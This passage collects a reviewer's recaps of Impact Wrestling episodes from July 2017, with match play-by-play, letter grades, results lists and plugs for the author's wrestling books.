They fight into the crowd with Sienna’s face being raked over the barricade. Rosemary grabs a headscissors and bends backwards over the barricade into kind of a reverse Tarantula. Sienna taps to no effect and we take a break. Back with Rosemary still in control but having to block what looked to be a powerbomb off the apron. The block doesn’t last though and it’s an AK47 off the apron and down to the floor (basically a release powerbomb in this case) for an eight count.

Back in and the Silencer is blocked by the swing of a chair to put Sienna down for nine. A Red Wedding onto the chair knocks Sienna down but Rosemary can’t follow up. Sienna is up at nine but down at ten so Rosemary puts her in front of the chair in the corner. Rosemary puts a trashcan in front of her for a Van Terminator, only to have KM offer a distraction. That means mist to the face but Sienna shoves her off the top and through the table on the floor to retain at 15:39.

Rating: B-. Good brawl, though nothing we haven’t seen before. Rosemary is rather skilled and Sienna is rather…..well she’s rather boring actually but she’s competent in the ring. KM on the other hand is one of the least interesting guys I’ve seen in a long time and having him around doesn’t add anything to any match he’s involved with. It’s a good match but, save for the reverse Tarantula, this wasn’t anything of note.

We look at the end of the six man.

Carter dubs the sitout Pedigree as the ECD: Ethan Carter’s Driver. Moose vs. Carter for the title next week.

Alberto says LAX is lead by a crazy man.

Here’s Trevor Lee to say he’s a fighting champion, meaning he’s got another handpicked challenger. He’s the king of Mexico….and it’s Octagoncito.

Trevor Lee vs. Octagoncito

Lee wrestles with the stolen title on and runs Octagoncito over to start. He misses a charge into the corner though and gets headscissored down, followed by a very long spinning version to put Trevor on the floor. That’s enough for Lee as he takes the countout at 1:40.

Sonjay Dutt runs in after the match but gets stopped by security. Cue Bruce for another unnecessary cameo to send him to the back.

LAX is ready to destroy Alberto once and for all.

Here are Park and Grado, the latter of whom is in a rather form fitting orange suit, to propose to Laurel. Sienna has to force Laurel down the aisle before leaving. Grado calls Laurel knockout gorgeous and proposes but here are a very excited Allie and a less excited Braxton Sutter to pull her to the back. Before there’s an answer though, Kongo Kong interrupts with a shaking head. Grado bails and Kong picks Laurel up but she tells him to put her down. She never actually said no.

LAX vs. Alberto El Patron

Gauntlet match and non-title. Alberto comes through the crowd and it’s going to be Homicide starting for the team. A top rope splash ends Homicide in nineteen seconds and it’s Ortiz coming in second. We’re off to an early break and it’s back to Ortiz in trouble as well but LAX crotches Alberto on top. Not that it matters as Alberto shoves him Ortiz down and hits the double stomp for the pin at 6:30 total.

Santana is in last and hits a running boot in the corner for two. Alberto gets tripped from the floor but avoids a top rope double stomp. A tilt-a-whirl backbreaker drops Santana again but Alberto has to go after the other members. Diamante’s high crossbody is caught and Alberto throws her out onto Homicide. Alberto grabs the cross armbreaker but Ortiz comes in for the DQ at 8:53 total.

Rating: D. So to recap, Alberto just cleaned out all of the wrestling members of LAX in less than nine minutes while also dealing with Diamante and Konnan. And these guys are the top heels in the promotion at the moment and we’re supposed to buy one of them, in theory at least, as a threat to the title? Really? Horrible idea here and a bad way to close the show.

Post match the beatdown is on with Alberto’s brother taking a beating as well. The Veterans of War run in and help Alberto clean house to end the show. In other words, Alberto, who just fended off five people at once on his own, now has his father, his brother, and two big power guys backing him up?

Overall Rating: D+. That main event storyline is just killing everything else on the rest of the show. Everyone in LAX is coming off like a jobber (the Tag Team Champions remember) and that story is dominating the show. There’s some good stuff on here and that’s keeping the show going but they are DYING for a top heel to oppose Alberto (who is far from a great character in the first place). In other words, a Jeff Jarrett run company still doesn’t seem capable of writing TV that is anything more than just average at best.

Results

Eli Drake/Ethan Carter III/Chris Adonis b. Moose/Naomichi Marufuchi/Eddie Edwards – Lifting sitout Pedigree to Moose

Taiji Ishimori b. Davey Richards – 450

Sienna b. Rosemary when Rosemary couldn’t answer the ten count

Octagoncito b. Trevor Lee via countout

Alberto El Patron b. LAX via DQ when Ortiz interfered

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – July 20, 2017: One Big Idea

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Date: July 20, 2017
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews, Jeremy Borash

So it seems we’re still on Alberto El Patron vs. Bobby Lashley after Lashley abandoned El Patron to the hands of LAX last week. This feud has been going on for months now and it’s apparently continuing as there’s no one else to put into the main event scene. Some new names need to be added to the title picture too as it’s getting rather tiresome. Let’s get to it.

We open with a long recap of LAX recruiting Alberto El Patron, including last week’s tag match with Alberto and Lashley picking up the win, only to have Lashley abandon Alberto after the match.

Video on Sammy Guevara, who is young and rather braggadocios. He’s here because he’s one of the best in the world and is ready to win this tournament and move on to the X-Division Title.

Video on Drago, who talks about being from another world and is ready to win as well.

Super X Cup First Round: Drago vs. Sammy Guevara

They speed things up to start and neither can hit anything early on. Drago offers a handshake on the standoff but gets slapped in the face instead. Sammy casually backflips over a clothesline and sends Drago outside for a shooting star from the top. Back in and a reverse hurricanrana gives Drago two, followed by the Dragon’s Tail (very twisting rollup) for the same. That’s fine with Sammy who comes back with a 630 for his own near fall. Drago is back up as well and hits a rather sloppy running Blockbuster DDT for the pin at 4:23.

Rating: C+. Fun match, complete lack of selling aside. This was straight out of the “you do a spot and I do a spot” playbook, which is only going to get you so far. Guevara was a fun heel who plays the bravado quite well. Drago is 41 years old and looks about half that age but it makes sense to push him on given his status with Ring of Honor.

Some GFW wrestlers went to a children’s camp for charity. Nothing wrong with that.

Sienna vs. Amber Nova

Non-title. Nova goes at her to start but gets sent into the corner, followed by a wheelbarrow suplex. A delayed vertical suplex is broken up but the AK47 puts Nova away at 1:26. Total squash.

Post match Sienna mocks Rosemary for being a loser and calls out Karen Jarrett. Sienna wants her to get on her knees and calls Sienna the greatest Knockout of all time. Karen doesn’t think so but Sienna says she just told her to. Allie makes the save with a kendo stick but Laurel Van Ness comes in and beats Allie down. Rosemary comes out for the real save. That goes badly as well but Karen pulls Sienna off. Cue Gail Kim to clean house because that’s what Kim does. Karen makes a Last Knockout Standing match between Rosemary and Sienna for the title next week.

Earlier this week, LAX kidnapped Alberto’s brother to get Alberto to join LAX.

Video on Hijo de Fantasma.

Bruce Prichard (Did the whole “Where’s Bruce” thing from Slammiversary ever go anywhere?) is in the back and runs into Trevor Lee. Bruce wants to know what’s up with the X-Division Title when Sonjay Dutt comes in and tries to get the title back. Security takes him away, which Lee says proves he’s the better champion. Bruce seems to agree.

Idris Abraham/Demus/Trevor Lee vs. Laredo Kid/Garza Jr./Octagoncito

Lucha rules. Idris and Garza don’t do anything to start so it’s off to the minis for a headscissors to send Demus outside. Garza dives on the other villains and we take a break. Back with Lee, who is wearing the X-Division Title, working on Octagoncito until a headscissors puts him down.

The hot tag brings in Garza Jr. and we remove the pants. They hit the floor for the dives, including Laredo Kid getting caught in the ropes and nearly landing on the apron. We hit the Row the Boat spot (it didn’t work in WCW and it’s not working here), followed by Laredo hitting a big flip dive to the floor. Back in and Octagoncito gets on Garza’s shoulders while Garza is on the middle rope for a huge splash onto Abraham for the pin at 10:24.

Rating: C. Botches aside, this was a fun match but the problem here is the time. A lot of the roster barely has time to get on the roster week to week but this is getting more than twice the time that the Super X Cup, which is actually for something, received. Both matches were fun but shouldn’t those times be reversed?

It’s time for Grado to go on a date with Laurel Van Ness He ate the chocolates and drank the champagne but he’s got coupons! The date is backstage and they’re in their gear with Grado tucking his napkin into his singlet. Laurel’s eating scares Grado’s appetite away.

LAX has kidnapped Alberto’s father to try to get Alberto to join as well.

Hijo de Fantasma vs. Matt Sydal vs. Low Ki

One fall to a finish. Sydal takes over to start until Fantasma spinwheel kicks him down. Ki sends Sydal outside but winds up limping a bit to slow him back down. Fantasma kicks Ki in the face to knock him off the top rope and out to the floor as we take a break. Back with Sydal hitting a standing moonsault on Ki but getting caught in a surfboard from Fantasma.

Ki breaks it up with the Warrior’s Way but the knee is too banged up to cover. Instead Sydal just falls onto Fantasma for two. The Ki Krusher is broken up so Sydal is sent into the corner again. The regular Warrior’s Way hits Fantasma but Sydal breaks it up with the shooting star press for the pin on Fantasma at 13:57.

Rating: C. Now they’re going overboard with the X-Division stuff. This is the third match out of four that has been built around the division and they’re starting to run together. Sydal is starting to go somewhere and it’s nice to see them pushing someone fresh in the division, but there’s so much other stuff going on that it’s starting to get lost in the shuffle.

Post match Sydal calls out Prichard and asks for a title shot. Cue Lashley of all people but Sydal says no one wants to hear it because this is his time to ask for a title shot. Lashley spears him down and says that’s only a start.

Back to the date with Laurel getting a bit too close to Grado, who keeps reminding himself about the citizenship.

Eddie Edwards vs. Ethan Carter III vs. Moose vs. Eli Drake

Before the match, the Swoll Mates chase off Chris Adonis. It’s a brawl to start with Eddie hitting a suicide dive onto Drake, who is then taken down again by Moose’s spinning high crossbody. Drake is right back up to send Moose outside and it’s time to double team Eddie. As you might expect, Drake and Carter get in an argument so Moose comes back in to throw them outside.

That’s not enough throwing as he tosses Edwards onto them as well. Eddie hurricanranas Carter back inside but has to deal with Drake, allowing Ethan to send him into the post. There’s the 1%er to Edwards but Moose pulls Carter outside, allowing Drake to steal the pin at 6:23.

Rating: C-. Another match with little structure that seemed to exist for the sake of fitting in as many people onto the card as they could. The match didn’t have much of a flow to it until the ending, though Eli and Ethan shouting their names at each other was a nice moment. I could go for some story tonight though and this match didn’t give me that.

LAX cuts off the Swoll Mates and asks Alberto’s family if he’s joining the team. Apparently not but Konnan holds the troops back…..and then lets them beat the two of them down.

Post break here’s LAX with Dos Caras as Dos Caras Jr. in the ring. The beat down is on until Konnan threatens Sr.’s mask. This brings Alberto to the stage before he slowly gets inside. He gets in “Carlos’” face and says this is too far for the sake of Mexican pride. Alberto says they’re brothers but if LAX wants him, let his family go. The family is sent outside and Alberto agrees to join the team to keep them save. He puts on the shirt but then beats down LAX to end the show.

Overall Rating: C. If you don’t like the LAX vs. Alberto story, RUN AWAY from this show. Nearly no other story got as much as five minutes on this show and it got a bit tiring watching all these multi-person matches, many of which felt like they barely advanced anything. The wrestling itself helped a lot but there was WAY too much LAX here and it dragged the show down a lot.

Results

Drago b. Sammy Guevara – Blockbuster DDT

Sienna b. Amber Nova – AK47

Garza Jr./Laredo Kid/Octagoncito b. Demus/Idris Abraham/Trevor Lee – Splash to Abraham

Matt Sydal b. Hijo de Fantasma and Low Ki – Shooting star press to Fantasma

Eli Drake b. Ethan Carter III, Eddie Edwards and Moose – 1%er to Edwards

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – July 13, 2017: Did He Or Didn’t He?

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Date: July 13, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero, Jeremy Borash

The big story this week is whether or not Alberto El Patron has joined LAX. Last week Konnan claimed he had but Alberto was out and couldn’t confirm the announcement. Other than that we’re slowly starting the build towards Bound For Glory, though it’s still a long way off. Let’s get to it.

Grado and Joseph Park arrive in the tiny Park Park and Park car (Park: “Three more payments and its mine!”). Joseph has a plan to keep Grado in this country: he needs to get married. And to one of the Knockouts!

Recap of last week’s ending with LAX attacking Lashley and claiming that Alberto is the newest member.

Opening sequence.

Here’s LAX with Konnan (And his “we’re serious like a late period.” GET A NEW LINE ALREADY!) saying that Alberto is the newest member. Cue Alberto to ask what’s going on because he’s not joining LAX. Konnan talks about what happens to Mexican wrestlers in this country, including what happened to Alberto in Stamford. Alberto rants about how he remembers every day but he’s not joining LAX to fight back. It’s a flat out no on joining the team so Konnan sends the troops after him. Lashley comes out for the save.

The Mayor of Orlando declared last Wednesday Impact Wrestling Day in Orlando. They also honored the victims of the Pulse nightclub shootings. Those are nice touches.

ACH is ready to win the Super X Cup.

Andrew Everett is ready to win the Super X Cup.

Super X Cup First Round: ACH vs. Andrew Everett

Everett nips up to start as the announcers talk about how big it is to have Alberto and Lashley teaming up tonight. They trade kicks and standing switches until Everett kicks ACH in the head for two. A springboard dropkick puts ACH on the floor and a top rope Asai moonsault makes things even worse. ACH gets tired of getting kicked and comes back with kicks and a dive of his own, followed by a German suplex. A running clothesline drops Everett but he pops up with an enziguri. Not that it matters as ACH comes right back with a brainbuster to advance at 6:22.

Rating: C+. I like the idea of the X-Division getting a focus and the tournament isn’t the worst idea in the world but they need to have the big blow away match in there somewhere. That’s not likely to happen in six minutes, though this is just the first round. It was entertaining enough though and that’s all you can ask for out of this division.

Here’s Gail Kim with a big announcement. In something that isn’t the biggest surprise in the world, she announces her retirement at the end of the year. She plans on going out on top though and that means she’ll be back in the ring later in the year. I’m fine with Gail wrestling again but I could go without hearing about how she’s the greatest thing in the history of the world.

As Gail is leaving, Chris Adonis comes out to yell at the Swoll Mates (who are here to promote a TV show and not wrestling) and challenge them to a pose down. The Mates are far bigger than he is so Eli Drake comes out to prevent anything from going wrong.

Demus vs. Octagoncito

Yes it’s a freaking minis match because there’s NOTHING ELSE that could be used in this spot. In this case, minis means people about Rey Mysterio’s size as they’re both taller than the top rope. Octagoncito sends him outside for a spring corkscrew dive. Anther dive drops Demus back inside but he comes right back with a slam for two of his own. Something like the West Coast Pop gives Octagoncito two and a very spinning headscissors puts Demus away at 3:57.

Rating: D+. Yeah whatever. This kind of stuff has never gotten over in America and this isn’t going to be any different. The dives looked cool but as soon as you hear “minis”, the expectations go down. I get the idea of presenting a bunch of stuff from around the world but this isn’t the kind of thing that’s going to draw an audience.

Grado hits on various Knockouts to exactly the avail you would expect. Park says we have one more chance and brings out champagne and chocolates to make things easier.

Grand Championship: Moose vs. Naomichi Marufuji

Moose is defending and Ethan Carter III is on commentary. Moose misses the Game Changer but ducks a kick to the head for a standoff. They trade big swings until Moose drops him with a hard clothesline. Marufuji gets caught in the corner as the announcers can’t get Storm to say a word.

Moose wins round one and blasts Marufuji with a clothesline at the opening bell. Back up and Marufuji finally gets in some offense, including some chops in the corner. A dropkick knocks Marufuji off the top though and round two ends with Marufuji down on the floor. Marufuji wins round two and round three begins after a break. Moose misses a clothesline and gets kneed in the face a few times. Carter, who hasn’t said a word yet, gets off commentary but comes in with the bell to knock out Marufuji with the bell for the DQ (I thought these were No DQ.) at 14:08.

Rating: C-. Marufuji wasn’t all that impressive but this round system is really getting old. I mean, it was in the first place but now it’s getting even worse. Carter going after the title makes sense but hopefully it just turns into the TV Title or whatever they want it to be at this point. Just drop the rounds though, please.

LAX wants revenge tonight.

William Weeks vs. Trevor Lee

Lee still has the X-Division Title and insists on wearing it while he wrestles out of fear of theft. With Weeks being beaten down, Sonjay Dutt is being held back by security. A double stomp ends Weeks at 1:24.

Dutt chases Lee off but can’t get the title back.

Ava Storie vs. Laurel Van Ness

Storie hammers away but gets suplexed down for two. Choking looks to set up the curb stomp but Ava slips away and grabs a neckbreaker. The curb stomp puts Ava away at 3:22.

Rating: D. Ava seems to have some potential but I’m not entirely sure on Laurel. They’ve pretty much stopped with her story and now she’s just a woman in a dress who wrestles about the same as she would no matter what attire she was wearing. The result was fine but it was nothing worth seeing.

Post match Grado heads to the ring and asks Laurel out. He praises everything about her and she doesn’t say no but Kongo Kong heads out to chase Grado off.

Alberto El Patron/Bobby Lashley vs. LAX

Non-title. Lashley suplexes and backbreakers Ortiz for two to start before handing it off to Alberto for right hands in the corner. Santana cheats from the apron though and a double suplex is good for two on Alberto. Back with Alberto hitting a reverse superplex on Santana, allowing the hot tag off to Lashley.

Diamante breaks up the spear though and Santana gets in a cheap shot to keep control. LAX works Lashley over with the double teaming until he flips out of a double belly to back and crossbodies both of them down at the same time. Alberto comes in with a Backstabber to Ortiz and the top rope double stomp finishes Santana at 13:27.

Rating: C. Fine for a main event tag match but not much more than that. I’m almost never a fan of the champs losing to a thrown together team (or almost anyone for that matter) in a non-title match and this wasn’t much better. Alberto and Lashley don’t seem to be a long term team and LAX doesn’t need to be losing like this.

Post match Alberto says he and Lashley were an awesome team but LAX jumps him from behind. Lashley smiles and walks away to end the show.

Overall Rating: C-. Not a terrible show by any means but nothing I’m going to remember in about five minutes. They seem to have more of a theme and idea going here though and that’s more than you could say about a lot of what this company did for months on end. Tighten things up a bit and this show could go somewhere.

Results

ACH b. Andrew Everett – Brainbuster

Octagoncito b. Demus – Spinning headscissors

Naomichi Marufuji b. Moose via DQ when Ethan Carter III interfered

Trevor Lee b. William Weeks – Double stomp

Laurel Van Ness b. Ava Storie – Curb stomp

Alberto El Patron/Lashley b. LAX – Top rope double stomp to Santana

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6